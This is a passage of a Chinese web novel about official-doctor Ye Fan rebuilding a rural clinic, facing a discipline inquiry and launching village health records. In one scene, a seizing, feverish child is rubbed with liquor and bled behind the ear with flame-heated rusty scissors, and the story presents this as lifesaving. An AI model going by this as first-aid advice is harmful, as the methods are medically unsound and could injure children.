他“砰”的一声,手掌重重地拍在桌子上,震得茶杯嗡嗡作响。
“从今天起,‘城乡医疗一体化’试点项目,就是我们青山镇的头号工程!要人给人,要地给地!全镇上下,谁敢在这个项目上推诿扯皮、阳奉阴违,我第一个不答应!”
“叶局长,你是我看着走出去的。在这里,你就跟在自己家一样,放手去干!天塌下来,有我这把老骨头给你顶着!”
这番话,掷地有声,不仅是说给在场的镇干部听的,更是说给县里那些专家们听的。
这是最坚决、最彻底的支持。
孙兆龙等人面面相觑,心里暗暗咋舌。
他们现在才明白,这位叶局长在基层有着何等深厚的人脉和威望。
会议的最后,叶凡站了起来。
他没有说什么豪言壮语,只是讲了一个故事。
“我刚来青山镇的时候,接诊过一个孩子,高烧不退。镇里看不了,送到县里,折腾了一天一夜,差点就耽误了。孩子的父母,就跪在我面前,求我救救他。”
叶凡的声音很轻,却敲在每个人的心上。
“当时我就在想,我们当医生的,到底是为什么?我们的技术,我们的医院,到底是为什么而存在?是为了那些光鲜亮丽的科研数据,还是为了评上更高的职称?”
他看着台下的专家们。
“不,都不是。是为了让这样的父母,不用再跪下。是为了让他们的孩子,在家门口,就能看得上病,看得好病。”
“这就是我们这次来青山镇,唯一的目标。”
“我的话,讲完了。”
会议室里,鸦雀无声。
窗外,夕阳的余晖正透过玻璃,洒在这群人的脸上。
金色的光芒中,一个全新的,属于青川县,也属于叶凡的时代,正拉开序幕。
第116章 第一锤砸下,先治卫生院的“病”!
第二天一早,天刚蒙蒙亮。
县医院外科主任孙兆龙是被一阵惊天动地的猪叫声吵醒的。
他猛地从镇政府招待所那张硬得像铁板的床上坐起来,揉着发酸的老腰,一脸的生无可恋。
“这**是什么地方?闹钟是活的?”
隔壁房间传来内科主任有气无力的声音:“老孙,知足吧,至少证明这镇上还有活物。我昨天半夜起来上厕所,走廊黑得跟鬼片现场似的,差点把魂吓丢了。”
昨晚被叶凡一番豪言壮语点燃的热血,经过一夜发酵,已经冷却成了冰冷的现实。
专家们陆陆续续走出房间,个个顶着黑眼圈,脸上写满了水土不服。
镇政府的早餐是稀饭、馒头和咸菜。
孙兆龙用筷子戳了戳那碟黑乎乎的咸菜,眉头拧成了一个川字:“就这?我医院食堂的病号餐都比这丰盛。”
“孙主任,将就一下。”镇卫生院院长李德海端着一碗稀饭,笑得一脸讨好,“山里条件差,委屈各位专家了。”
“我们倒是不委屈,”孙兆龙放下筷子,没好气地说,“我就怕吃这玩意儿,没等给老百姓看病,我们自己先营养不良,倒下了。”
就在这时,叶凡走了进来。
他穿着一身简单的运动服,神采奕奕,手里还拿着一张手绘的草图。
“各位主任,都醒了?正好,省了早会了。”叶凡把草图往饭桌上一铺,“吃完饭,咱们就开始今天的手术。”
众人凑过去一看,那草图上画的正是破败的镇卫生院。
“手术?”孙兆龙一愣。
“对。”叶凡的手指在草图上那三间破瓦房上敲了敲,“我们的试点项目第一个要治的病人,就是它。这座卫生院病入膏肓,我们得先给它做个‘外科手术’,清创、重建。”
饭后,一行人再次来到卫生院门口。
没有会议,没有动员,叶凡直接把所有人带进了那栋摇摇欲坠的小楼。
“李院长,把你的家底都亮出来吧。”
李德海苦着脸,打开了所谓的“药房”,里面几个空荡荡的木架子,上面零星摆着几盒感冒药和过期了的纱布。
所谓的“诊断室”就是一张掉漆的桌子,一把缺了腿的椅子。
最让孙兆龙崩溃的是那间所谓的“手术室”。
里面只有一张锈迹斑斑的铁床,旁边一个搪瓷盘里放着几把同样锈迹斑斑的镊子和剪刀。
屋顶还在漏水,地上放着一个接水的脸盆。
“叶局长……”孙兆龙的嘴角抽搐着,“您管这叫手术室?我跟你说我们医院杀鸡的卫生标准都比这高。在这里动刀子,不是救人,是**!”
“没错,所以才需要你。”叶凡看着他,神情认真。
“我?”
“你,孙兆龙主任,全县外科第一刀。”叶凡把那张草图塞到他手里,“这间手术室从布局到流程,从器械配置到无菌要求,你来设计。五十万启动资金,我先给你十万,不够再加。我只有一个要求,一个月内,我要在这里看到一间能做阑尾炎手术的标准化手术室。”
孙兆龙拿着那张薄薄的草图,感觉手心发烫。
他骂了半天,结果这个最难啃的骨头,叶凡直接扔给了他。
他要是做不好,丢的可是自己“全县第一刀”的脸。
“内科王主任,”叶凡转向另一位专家,“门诊和病房的规划,你来负责。怎么让病人看得舒服,住得安心,你是专家。”
“骨科李主任,放射科和康复室的设计,交给你。”
“还有……”
叶凡像一个总指挥,将任务一一分解。
他不是在下命令,而是在进行一场术前会诊,把每一位专家的专业能力,都用在了刀刃上。
刚才还满腹怨气的专家们,渐渐被调动起来。
与其抱怨,不如亲手改变。
这种从无到有,亲手打造一个“理想王国”的体验,对他们这些常年在体制内按部就班的技术官僚来说,有着一种致命的吸引力。
就连孙兆龙也捏着那张草图,在“手术室”里比比划划,嘴里念念有词:“这不行,通风口得改……无影灯的位置要在这里……器械柜和洗手池必须分开……”
整个卫生院瞬间变成了一个热火朝天的工地。
钱国栋也带着镇里的几个干部赶了过来,看到这番景象,不由得对叶凡竖起了大拇指。
“你小子,真有你的。把这群城里的‘大爷’,治得服服帖帖。”
叶凡笑了笑:“医生嘛,手上不沾点血,总觉得缺点什么。让他们亲自动手,比开十次会都管用。”
就在众人热情高涨,讨论着怎么把第一笔钱花在刀刃上时,院子外突然传来一阵嘈杂的呼喊声。
“救命啊!李院长!救命啊!”
一个中年汉子背着一个七八岁的男孩,疯了一样冲了进来。
他身后还跟着几个哭天喊地的家人。
“铁柱家的娃!这是怎么了?”李德海赶紧迎上去。
“不知道啊!”汉子把孩子往地上一放,急得满头大汗,“刚才还好好的,在地里玩,突然就倒地上抽风,口吐白沫,身上烫得吓人!”
专家们立刻围了上去。
内科王主任第一个蹲下身,摸了摸孩子的额头,脸色一变:“高热惊厥!快!体温计!”
李德海慌忙跑进屋里,半天,拿着一支破了水银头的老式体温计出来,哭丧着脸:“坏了!就这一根!”
“血压计呢?”
“也坏了!”
“听诊器!”
李德海递上来的听诊器,胶管已经老化开裂。
“这……这怎么看病!”王主任急得直跺脚。
他们空有一身屠龙技,可现在连把小刀都没有。
孩子的抽搐越来越厉害,小脸憋得发紫,眼看
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就要窒息。
孩子的母亲“扑通”一声跪在地上,对着一群白大褂就磕头:“求求你们,救救我的娃!求求你们了!”
孙兆龙等人脸色铁青,面对着最原始的医疗困境,他们第一次感到了深深的无力。
“都让开!”
一声断喝,叶凡拨开人群,直接跪在了孩子身边。
他没有去找那些没用的器械,双手闪电般地解开孩子的衣领,同时对身边的孙兆龙吼道:“孙主任,你块头大,按住他的腿!别让他伤到自己!”
孙兆龙一愣,下意识地就按了上去。
叶凡的手指精准地掐在孩子的人中上,同时另一只手摸向孩子的颈动脉。
“脉搏很快,体温至少四十度。”他头也不抬,对李德海命令道,“去!马上找一瓶白酒,越高浓度越好!再打一盆凉水,拿几块毛巾!”
李德海如梦初醒,连滚带爬地跑了。
“物理降温?”内科王主任皱眉,“来不及了!他这是典型的颅内感染引起的惊厥,不马上用镇静剂和抗生素,会有生命危险!”
“药呢?”叶凡反问。
王主任哑口无言。这里连退烧药都没有,哪来的镇静剂?
很快,白酒和凉水拿来了。
“毛巾浸湿,敷额头、脖子、腋下!用白酒擦拭手心脚心!”叶凡一边示范,一边指挥着有些手足无措的专家们。
一套流程下来,孩子的体温似乎有所缓解,但抽搐依旧没有停止。
“不行,必须马上降颅压!”叶凡眼神一凝,做出了一个让所有人都惊掉下巴的决定。
他看了一眼旁边搪瓷盘里那把锈迹斑斑的剪刀,对李德海说:“打火机有吗?”
“有有有!”
叶凡接过打火机,将剪刀的尖端在火苗上反复烧烤,直到通红。
“你要干什么?”孙兆龙失声喊道。
“静脉放血。”叶凡的声音冷静得可怕,“条件有限,只能用最原始的办法。耳后静脉放血,可以最快速度降低颅内压,为我们争取时间。”
说着,他用沾了白酒的棉球给剪刀尖和孩子的耳后消毒,没有丝毫犹豫,对着一个细小的静脉点,轻轻一刺。
几滴暗红色的血液流了出来。
奇迹发生了。
随着血液的流出,孩子剧烈的抽搐竟然慢慢缓和了下来。
在场的所有人,都看呆了。
他们看着跪在地上,沉着冷静,手法精准的叶凡,眼神里写满了震撼。
这已经不是在看病了。
这简直就是艺术。
一种在极端恶劣条件下,化腐朽为神奇的艺术。
“车!”叶凡站起身,抹了一把头上的汗,“马上送县医院!我跟车走!”
钱国栋早已安排好,一辆镇政府的破旧吉普车开了过来。
众人七手八脚地把孩子抬上车,吉普车怒吼一声,卷起一阵黄土,绝尘而去。
第117章 一锤之后,百废俱兴!
吉普车卷起的黄土像一阵仓促的狼烟,在山路上渐渐消散。
镇卫生院的院子里,死一般寂静。
一群在青川县医疗界呼风唤雨的专家“大拿”,此刻像一群被吓傻了的鹌鹑,呆立在原地。
他们脑海里反复回放着刚才那惊心动魄的一幕——叶凡冷静地跪在地上,用最原始、最粗暴,却也最有效的方式,从死神手里抢回了一个孩子的命。
那不是教科书上的标准流程,那是在绝境中淬炼出的战场急救术。
外科主任孙兆龙低头,看着自己那双能做最精细缝合的手,上面还沾着刚才按住孩子时留下的泥土。
他第一次感觉到自己的技术在真正的生命困境面前,是如此苍白。
“妈的……”他喃喃地骂了一句,也不知道是在骂这该死的条件,还是在骂自己刚才的无能为力。
他抬起头,那双一向挑剔的眼睛,扫过眼前这栋破败的小楼。
墙皮剥落,窗户漏风,屋顶长草。
这里的一切都在无声地嘲笑着他们这些所谓的“专家”。
一股莫名的邪火从他心底“噌”地一下窜了上来。
“轰隆!”
一声巨响,打破了院子里的沉寂。
孙兆龙不知从哪抄起一把半人高的大铁锤,用尽全身的力气,狠狠地砸在了那面斑驳的旧墙上。
砖石四溅,尘土飞扬。
“还他妈愣着干什么!”孙兆龙喘着粗气,回头对着那群目瞪口呆的同事们一声咆哮,唾沫星子横飞,“等死啊?都给**活!拆了!全都给老子拆了!”
这声吼像一声惊雷,把所有人都炸醒了。
内科王主任愣了半秒,也卷起袖子,捡起一根撬棍:“拆!今天不把这鬼地方拆了,我他妈就不姓王!”
骨科李主任活动了一下筋骨,掰着手指嘎嘣作响:“正好,让你们见识见识,我们骨科医生对建筑结构学的理解!”
于是,一副堪称青川县百年奇景的画面出现了。
全县最顶尖的一群医学专家脱下了白大褂,扔掉了手术刀,叮叮当当地干起了拆迁队的活。
孙兆龙挥舞着大锤,虎虎生风,像个专业的工头。
王主任则拿着个小本子,在一旁念念有词,计算着承重墙的角度,仿佛在分析心电图。
镇卫生院院长李德海和几个镇干部彻底看傻了。
他们站在一旁,想帮忙,又不知从何下手,只能眼睁睁地看着这群平均年龄五十岁以上的“老专家”,像一群打了鸡血的年轻人,把卫生院拆得七零八落。
钱国栋站在不远处,背着手,看着这热火朝天的景象,浑浊的眼睛里闪烁着一种久违的光。
他侧过头,对身边的镇长说:“看见没?这就叫人心。叶凡这小子,他不是在搞工程,他是在治人心。”
……
下午,叶凡回来了。
吉普车刚在镇政府门口停稳,他就跳了下来。
一脸的疲惫,但眼神却很亮。
“孩子怎么样了?”钱国栋第一个迎上去。
“确诊是急性病毒性脑炎,幸亏送得及时。”叶凡抹了把脸,“现在已经用上药,脱离生命危险了。我让县医院那边,把这孩子的全部治疗费用给免了。”
他刚说完,一个电话就打了进来。是李德海的。
“叶局!叶局!”电话那头,李德海的声音激动得都在发抖,“铁柱!就是孩子他爹!他……**从哪打听到我的电话,在电话里哭得跟个泪人似的,一个劲地说您是活菩萨,是救了他全家命的恩人!他说……他说他这条命以后就是您的!”
叶凡还没来得及说什么,李德海又在那头喊:“您快回来看看吧!卫生院这边……出大事了!”
当叶凡和钱国栋赶到卫生院时,也被眼前的景象惊呆了。
原本只有十几个专家在叮当乱响的院子,此刻,黑压压地挤满了人。
至少有上百号村民,男女老少,自发地**在这里。
有的拿着锄头,有的扛着铁锹,有的推着独轮车。
一个赤着上身、浑身古铜色肌肉的汉子正带着一群年轻人,在拆下来的废墟上清理砖石,干得比谁都卖力。
正是孩子的父亲,王铁柱。
看到叶凡,王铁柱扔下手里的活,快步走过来。
他没有说话,这个不善言辞的庄稼汉,只是在叶凡面前站定,然后“扑通”一声,直挺挺地跪了下去,对着叶凡,磕了三个响亮的头。
叶凡连忙去扶:“铁柱大哥,你这是干什么!快起来!”
王铁柱却倔强地跪在地上,抬起一张被汗水和泪水浸透的脸,声音嘶哑:“叶局长,俺……俺不会说话。俺就知道,您救了俺娃,就是救了俺全家。从今往后,您说东,俺绝不往西。这卫生院,您要咋盖,俺们全村的劳力,随您调遣!”
“对!随叶局长调遣!”他身后,上百号村民齐声呐喊,声震四野。
那些专家们,站在一片狼藉之中,看着眼前这一幕,个个心神巨震。
他们第一次如此真切地感受到,“救死扶伤”这四个字,在老百姓心中,究竟有多重的分量。
孙兆龙放下手里的锤子,走过来,看着叶凡,眼神复杂得像一台高难度手术的术前方案。
有敬佩,有汗颜,还有一丝……彻底的折服。
“叶局长,”他开口了,声音有些干涩,“我老孙干了一辈子外科,今天才算明白,最厉害的手术刀不是我们手里这把,是人心。”
叶凡看着他,又看了看那些眼神淳朴又炙热的村民,心里涌起一股暖流。
“孙主任,你说错了。”他笑了,“最厉害的不是人心,是咱们这群人,站在
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一起。”
夜幕降临。
卫生院的工地上点起了几盏大功率的探照灯,亮如白昼。
晚饭是镇里送来的大锅饭,白菜炖猪肉粉条,管够。
专家们和村民们坐在一起,就着工地的尘土,呼啦呼啦地吃着。
孙兆龙端着一个豁了口的搪瓷大碗,吃得满头大汗,嘴里还不停地喊:“哎!那谁,再给我来一勺!这粉条子,比我们医院食堂的鲍鱼都有味儿!”
气氛前所未有的融洽。
饭后,叶凡召集了核心成员,在临时搭起的工棚里开会。
“各位,房子只是个壳子,今天村民们的热情也只是一时的。我们能不能在这里站稳脚跟,关键要看我们能给他们带来什么。”
叶凡摊开一张更大的图纸,上面是整个青山镇的地图。
“第一步,全民健康档案。”他的手指在地图上画了一个圈,“从明天开始,我们要分组,挨家挨户地走访,给全镇一千三百户,五千多口人,建立一份详细的健康档案。高血压、糖尿病、心脏病……一个都不能漏。这就是我们的‘金矿’,是我们未来所有科研和治疗的基础。”
专家们的眼睛都亮了。
这才是他们最关心的。
“第二步,师带徒。”叶凡看向李德海,“李院长,你,还有镇上所有愿意学医的年轻人,就是我们的第一批‘徒弟’。专家们不仅要坐诊,更重要的任务是带教。我要你们在半年内,培养出一支能独立处理常见病的本土医疗队。”
李德海激动得连连点头。
“第三步,制度。”叶凡的语气变得严肃,“我们要建立一套从预防、筛查、治疗到康复的闭环管理系统。小病在镇里治,大病通过绿色通道转诊到县里,康复再送回镇里。我要让青山镇的每一个病人,都有人管,有人跟。这,才是‘医疗一体化’的魂!”
孙兆龙等人听得热血沸腾,他们仿佛已经看到一座全新的,充满生机的医疗体系,正在他们手中,从这片废墟上拔地而起。
就在众人情绪高涨之时,工棚外传来一阵急促的脚步声。
镇长气喘吁吁地跑了进来,脸色有些古怪:“钱……钱**,叶局长,县里……县里来人了。”
钱国栋眉头一皱:“谁来了?这么晚跑来干什么?”
镇长咽了口唾沫,看了一眼叶凡,声音压得极低:“是……是县纪委的车。”
“纪委?”
这两个字像一盆冰水,瞬间浇灭了工棚里所有的热情。
所有人的目光“唰”的一下,全都聚焦在了叶凡身上。
叶凡的心猛地一沉。
他知道,拆掉一所旧房子容易,但想拆掉那些看不见的墙,没那么简单。
自己这把刀终究是动了太多人的奶酪。
反击比他预想的来得更快,也更狠。
第118章 纪委夜审,无声的较量!
工棚里的热浪像是被“纪委”这两个字瞬间抽干,空气陡然变得冰冷而稀薄。
所有人的目光像被磁石吸引的铁屑,“唰”地一下,全都钉在了叶凡身上。
有惊愕,有担忧,有不解。
王功手里的茶缸“咣当”一声掉在地上,滚烫的茶水洒了一地,他却浑然不觉。
孙兆龙刚刚升腾起来的豪情,被冻结在脸上,眉头拧成了一个疙瘩。
只有钱国栋,浑浊的眼睛里闪过一丝了然的寒光。
他知道,该来的,终究是来了。
叶凡的心在那一瞬间确实沉了一下,但随即,一股外科医生在手术台上面对突发大出血时的绝对冷静,迅速掌控了他的所有情绪。
他脸上看不出任何波澜,只是将手里的图纸轻轻卷起,对众人说了一句:“都别慌,该干什么干什么。我去去就回。”
他转身走出工棚。
院子外,一辆黑色的帕萨特静静地停在探照灯的光晕之外,像一只潜伏在暗处的甲虫。
车门打开,走下来三个穿着深色夹克的中年男人,神情严肃,不苟言笑。
为首的一人,国字脸,眼神锐利如刀,只是往那一站,一股无形的压力便笼罩了整个院子。
“你就是卫生局的叶凡同志吧?”为首的男人开口,声音平直,不带任何感**彩。
“我是。”叶凡平静地迎上他的目光。
“我们是县纪委的。接到群众举报,有些情况需要向你了解一下。麻烦你跟我们走一趟。”男人说着,亮了一下自己的证件。
他的话音不高,却像一道命令,清晰地传遍了整个工地。
“了解情况?有什么情况不能在这里说?”孙兆龙第一个冲了出来,他那火爆脾气,哪里受得了这个。
他指着热火朝天的工地,“五十万启动资金,一分一毛都砸在这里了!砖头、水泥、钢筋,都在这儿!我们这几十号人,就是人证!你们凭什么带人走?”
“同志,请注意你的言辞。”国字脸男人冷冷地扫了他一眼,“我们是按规矩办事。”
“规矩?老百姓的命是不是规矩!”孙兆龙吼道,“叶局长要是不在这儿,今天山里就多一个没爹没娘的孤儿!你们的规矩比人命还大?”
就在这时,王铁柱带着上百号村民,黑压压地围了上来。
他们没说话,就那么沉默地,用身体堵在了帕萨特前面。
这些淳朴的庄稼汉不懂什么叫纪委,但他们认一个死理:谁要带走救了他们娃的恩人,谁就是坏人。
气氛瞬间剑拔**张。
“都让开。”叶凡的声音不大,却让所有人都安静了下来。
他走到王铁柱面前,拍了拍他坚实的臂膀:“铁柱大哥,各位乡亲,都回去。这是组织上的调查,我相信组织会给我一个公道。”
他又转向孙兆龙等人,眼神里带着一丝安抚的笑意:“孙主任,你们都是专家,别跟他们一般见识。工地的图纸和账目,都在秦科长那里,谁要看,随时拿给他看。一是一,二是二,清清楚楚。”
说完,他整了整衣领,坦然地对那三个纪委干部说:“走吧,我跟你们去。”
那份从容与镇定,让在场所有骚动的心,都莫名地安定了几分。
也让那位国字脸的纪委干部,眼中闪过一丝不易察觉的讶异。
他办过无数案子,见过各种各样的人,惊慌失措的有,抵死不认的也有,但像叶凡这样,平静得像是在赴一场普通约会的,还是头一次见。
车没有开回县城,而是停在了镇政府一间空置的办公室里。
一盏刺眼的白炽灯,一张桌子,三把椅子。
典型的谈话现场。
叶凡坐在客位,对面是国字脸和另一位负责记录的干部。
没有茶水,没有寒暄。
“叶凡同志,我们长话短说。”国字脸开门见山,声音冰冷,“有人举报你,利用‘城乡医疗一体化’试点项目,中饱私囊,涉嫌严重违纪。”
“具体指什么?”叶凡问。
“第一,你以权谋私,将试点放在青山镇,为你昔日的**恩主钱国栋捞取政绩,这其中是否存在利益输送?”
叶凡笑了。
“青山镇是全县最穷、医疗条件最差的乡镇,这是公认的事实。选择最难啃的骨头作为试点,成功了才有说服力,这叫攻坚克难。这个方案,**县长和张海涛**都看过,他们都认可这个思路。如果说为公家办事、为百姓谋利也算‘利益输送’,那我认。”
国字脸的眉头皱了一下,显然没想到叶凡会这么回答。
“第二,”他加重了语气,“你刚拿到五十万启动资金,就大搞排场,请县里的专家们大吃大喝,挥霍**。有这回事吗?”
“有。”叶凡坦然承认。
记录员的笔尖一顿,国字脸的眼中闪过一丝喜色。
“那顿饭是在镇卫生院的工地上吃的。主菜是白菜炖猪肉粉条,主食是馒头。连同几十位专家和上百位自发来帮忙的村民,总共一百五十多人,总花费不到一千块,人均不到七块钱。账本就在卫生局王功主任那里,发票俱全。如果这也算‘大吃大喝’,那我们青川县的廉政标准,恐怕是全国最高了。”
叶凡的语气依旧平静,却像一把手术刀,精准地剖开了对方话里的陷阱。
国字脸的脸色有些难看了。
他感觉自己像一拳打在了棉花上,对方非但不躲,还把棉花里的东西剖开给你看,让你显得像个无理取闹的小丑。
“第三!”他的声音陡然拔高,带着一丝恐吓的意味,“你涉嫌收受建材供应商的回扣!我们已经掌握了初步证据!”
这是图穷匕见了。
叶凡看着他,眼神里第一次有了一丝冷意。
“证据?请拿出来。”他身体微微前倾,一股无形的气场散发出来,“我们项目的所有采购,由卫生局办公室、县医院和镇卫生院三方组成临时采买小组,共同负责,货比三家,全程记录。所有账目,每天一结,日清日毕。不仅对你们纪委公开,也对全镇百姓公开。我正愁没人来审计,你们来了,正好。”
“我建议,你们现在就可以封存所有账本,并派驻专业的会计人员对我们这五十万资金的
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每一笔流向,进行最严格的审计。我全力配合。”
他直视着国字脸的眼睛,一字一句地说:“我不仅欢迎你们查,我还请求你们,从严、从快、从重地查!查他个底掉,查他个水落石出!这样,才能还我一个清白,也才能给全县所有想干事、敢干事的干部,立一个标杆!”
“你!”国字脸被他这番话噎得满脸通红。
他办案多年,第一次见到有被调查对象主动要求被“从重”调查的。
这已经不是问心无愧了,这是在反将一军!
办公室里陷入了死寂。
就在这时,国字脸的手机突兀地响了起来。
他看了一眼来电显示,脸色微微一变,起身走到角落里去接电话。
“李县长……”他的声音压得很低,但在这安静的房间里,叶凡还是能隐约听到几个字。
“……是,正在了解情况……明白……一定……一定不会影响重点项目推进……”
几分钟后,国收脸挂了电话,走回来,脸色阴晴不定。
他深深地看了叶凡一眼,那眼神复杂无比,像是重新认识了一遍眼前这个年轻人。
许久,他才从牙缝里挤出一句话:“叶凡同志,这次的谈话就到这里。举报的问题,我们会继续调查。希望你端正态度,好自为之。”
说完,他带着人,头也不回地走了。
一场来势汹汹的“夜审”,就这么草草收场。
叶凡走出办公室,夜风微凉,吹在脸上,很舒服。
院子里,灯火通明。
钱国栋、孙兆龙、王功,还有黑压压的几十个村民,一个人都没走,全都静静地等在外面。
看到叶凡安然无恙地走出来,所有人都长长地松了一口气。
孙兆龙快步走上来,不由分说地塞给他一个军用水壶,打开盖子,一股浓烈的酒气扑面而来。
“喝口,去去晦气!”
叶凡笑了笑,没客气,仰头灌了一大口。
辛辣的白酒顺着喉咙烧下去,胸口瞬间腾起一团火。
钱国栋走过来,重重地拍了拍他的肩膀,什么都没说,但那眼神里有后怕,有欣慰,更有赞许。
叶凡的目光越过人群,望向不远处那片被探照灯照得亮如白昼的工地。
旧的墙体已经被拆除大半,新的地基轮廓,在废墟中若隐若现。
他知道,今晚的“纪委夜审”,只是对手的第一轮试探性攻击。
看似雷声大,实则只是想用最常规的手段,吓住他,让他自乱阵脚。
但这背后也暴露了对方的急躁和黔驴技穷。
叶凡嘴角勾起一抹冷冽的弧度。
你想用规矩来办我?
那我就给你立一个,谁也无法撼动的,属于我叶凡的规-矩!
“各位!”他举起手里的水壶,对着所有人朗声说道,“饭也吃饱了,酒也喝了。明天天一亮,开工!”
“好!”人群中爆发出震天的呐喊。
今夜,青川县的官场暗流涌动,几家欢喜几家愁。
而青山镇的这片工地上,夜虽冷,人心却滚烫。
这场战争,才刚刚开始。
第119章 立规矩,先亮家底!
纪委的车带走了昨夜的寒意,却没能带走青山镇这片土地上陡然升腾起来的火热。
第二天,太阳刚翻过山头,卫生院的工地上,人声、锤声、号子声,已经汇成了一首粗犷而有力的交响曲。
一夜之间,那群被颠簸山路和简陋招待所折磨得怨声载道的专家们,像是换了个人。
外科主任孙兆龙赤着膊,汗水在古铜色的背上闪着光,手里的大锤挥得虎虎生风,嘴里还不停地吆喝着:“那边的,砖头码齐了!别**盖出来个比萨斜塔!”
内科王主任则拿着个卷尺,跟镇上的老木匠为了一根房梁的尺寸争得面红耳赤,专业术语和乡间土话齐飞,引得众人哈哈大笑。
昨晚那场风波像一剂催化剂,将这些原本互不搭界的个体,彻底捏合成了一个整体。
他们亲眼见证了叶凡如何凭一己之力,从死神手里抢回一个孩子,又如何面不改色地硬扛下纪委的雷霆一击。
这已经超出了工作范畴,上升到了一种……让他们这些安逸惯了的技术官僚,感到既陌生又热血沸腾的,叫做“阵营”的东西。
叶凡没有辜负这份信任。
他做的第一件事,就是在工地最显眼的地方,立起了一块大木板,上面用红漆写着四个大字——“阳光账本”。
王功带着两个卫生局的年轻会计,旁边支了张桌子。
第一笔支出,清清楚楚地写了上去。
“昨日采购水泥二十袋,沙子三车,红砖五千块,合计支出一万三千二百元整。发票在此,欢迎监督。”
王铁柱带着几个村民凑过去,瞪大了眼睛,一个字一个字地看。
他们不识几个字,但“一万三千二百”这个数字和旁边贴着的花花绿绿的发票,他们是看得懂的。
“俺的乖乖,”王铁柱挠着头,瓮声瓮气地说,“俺活了三十年,头一回见着当官的把钱袋子这么亮给咱们老百姓看的。”
“这算啥!”孙兆龙擦了把汗,凑过来吹牛,“你们是没见过我们叶局长。他那脑子比CT机还精。谁敢在这账上动一分钱手脚,他一眼就能给你揪出来,顺便把你祖上三代都算得明明白白。”
这话糙理不糙,逗得村民们又是一阵哄笑。
这块“阳光账板”,就像一根定海神针,瞬间稳住了所有人的心。
它比任何豪言壮语都管用,无声地宣告着叶凡的规矩:在这里,一切都摆在台面上,没有猫腻,只有实干。
规矩立下,接下来就是干活。
“全民健康档案”工作,正式启动。
专家们被分成了五个小组,每个小组由一名镇干部和两名像王铁柱这样熟悉情况的村民带路,开始了浩浩荡荡的“扫村”行动。
理想很丰满,现实却给了这群专家一记响亮的耳光。
孙兆龙的小组第一个就吃了闭门羹。
“查户口啊?俺们家三代贫农,成分好得很!”一个叼着旱烟杆、瘦得像根麻杆的老大爷,堵在自家门口,斜着眼睛打量他们。
“大爷,我们不是查户口的,我们是县医院的医生,来给您免费检查身体。”小组里的年轻医生陪着笑脸。
“医生?”老大爷把烟锅在鞋底上磕了磕,“黄鼠狼给鸡拜年,没安好心!你们城里医生,看个感冒都得好几百,现在跑俺们这山沟沟里来做好事?骗谁呢!”
孙兆龙在医院里被人捧惯了,哪受过这个气,当场就要发作。
叶凡不知什么时候出现在了他们身后,轻轻拍了拍他的肩膀,然后笑着对老大爷说:“大爷,您说的对。天底下没有免费的午餐。”
老大爷一愣,没想到这个看起来像领头的年轻人会这么说。
“我们不是来白给您检查的。”叶凡蹲下来,声音不大,“我们是来跟您‘换’的。”
“换?”
“对。您看,您抽的这个旱烟,劲儿大,烟油多,抽久了嗓子是不是总有痰,早上起来还咳嗽?”叶凡看着老大爷发黑的手指和牙齿。
老大爷眼神闪躲了一下,没吭声。
“我们给您检查身体,您呢,就跟我们聊聊天。告诉我们,您抽了多少年烟了?平时都吃些什么?喝的是井水还是山泉水?我们把这些记下来,带回去研究,就能搞明白,为啥咱们这儿得慢阻肺的人那么多。搞明白了,就能找到法子治。以后您的孙子辈,就不用再受您这个罪。”
叶凡指了指孙兆龙,“这位,是全县最会开刀的孙主任。他就是想看看,您这抽了一辈子烟的肺跟城里人的肺,有啥不一样。您老,就当是给咱们全县的医学事业,做贡献了,行不?”
这番话说得,既给足了老大爷面子,又把事情的利害讲得清清楚楚。
老大爷吧嗒了两下嘴,半晌,才从牙缝里挤出一句:“那……那进屋说吧。老婆子,倒水!”
孙兆龙跟在后面,看着叶凡的背影,心里五味杂陈。
他忽然明白,叶凡昨天为什么能把纪委的人怼得哑口无言。
这个人,太懂得如何跟不同的人,说不同的话了。
对付官僚,他用的是更硬的规矩;对付百姓,他用的,却是最朴素的人心。
有了第一个突破口,后面的工作渐渐顺畅起来。
当然,过程依旧是鸡飞狗跳。
内科王主任被一个热情的大婶硬灌了三碗自家酿的米酒,查到下午,走路都开始画龙。
骨科李主任被一条全村最凶的大黄狗追了半个山头,最后靠着精准的人体力学分析,爬到一棵树上才躲过一劫。
妇产科的女专家则被一群大姑娘小媳妇拉着,问的都是些“怎么生儿子”的千古难题,让她哭笑不得。
傍晚,当所有小组拖着疲惫的身体回到卫生院时,每个人脸上都带着一种奇异的兴奋。
“我的天,你们是不知道,有个大爷,高血压二百二!自己还跟没事人一样,天天扛着锄头下地!”
“我这边更离谱,一个三十岁的年轻人,糖尿病酮症酸**的早期症状都出来了,他还以为是干活累的!”
“我们今天筛查出三个疑似宫颈癌前病变的,必须马上转诊!”
会议室里,专家们七嘴八舌地交流着一天的“战果”,那些曾经只存在于教科书和文献里的“典型病例”,此刻活生生地出现在他们面前。
这座未经开
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采的“富矿”正在向他们展露出最真实、最震撼的一面。
叶凡静静地听着,在一张大地图上,用不同颜色的笔,将这些信息一一标注上去。
一张青川县青山镇的“疾病地图”,正在他手中,缓缓成型。
“叮铃铃!”
就在这时,他的手机响了。是苏沐秋。
“叶大局长,听说你昨天差点被‘**’了?”电话那头的声音带着一丝后怕的调侃。
“消息挺灵通啊,苏大记者。”叶凡走到院子里,看着天边的晚霞,心情放松了不少。
“别贫了。”苏沐秋的语气严肃起来,“我找人打听了一下。这次举报你的人,路子很野,**直接递到了市纪委,然后才批转到县里的。县里要是不动,就是程序问题。”
叶凡的眉头皱了起来:“市纪委?”
这超出了他的预料。
他原以为,只是县里某些被他动了奶酪的人,在背后搞的小动作。
“对。而且,我听说,**的内容很专业,不止说了钱的问题,还提到了你破格提拔为副镇长,以及这次担任卫生局局长,程序上有瑕疵,涉嫌‘带病提拔’。”
叶凡的心沉了下去。
钱的问题,他不怕查,因为身正不怕影子斜。
但“程序”这两个字,在官场上,有时候比贪腐本身,更要命。
“是冲着我来的,还是冲着……”叶凡没有说下去,但他知道苏沐秋明白。
官场之上,打你,往往是为了敲山震虎,目标是你背后的人。
提拔他的,是钱国栋,是县长**,是**的某位领导。
“不清楚。”苏沐秋的声音也有些凝重,“不过我听到一个传闻,县卫生局的常务副局长马文亮最近跟县委张**走得很近。听说,他到处说,一个毛头小子,靠着投机取巧,把卫生系统搞得乌烟瘴气。”
马文亮!
叶凡的脑海里浮现出一个戴着金丝眼镜,笑起来像弥勒佛,但眼神里总是藏着精光的男人。
他是卫生系统的老资格,业务能力平平,但尤为擅长迎来送往,在局里根基深厚。
自己这个“空降兵”,抢了本该属于他的风头和位置,他心里有怨气,再正常不过。
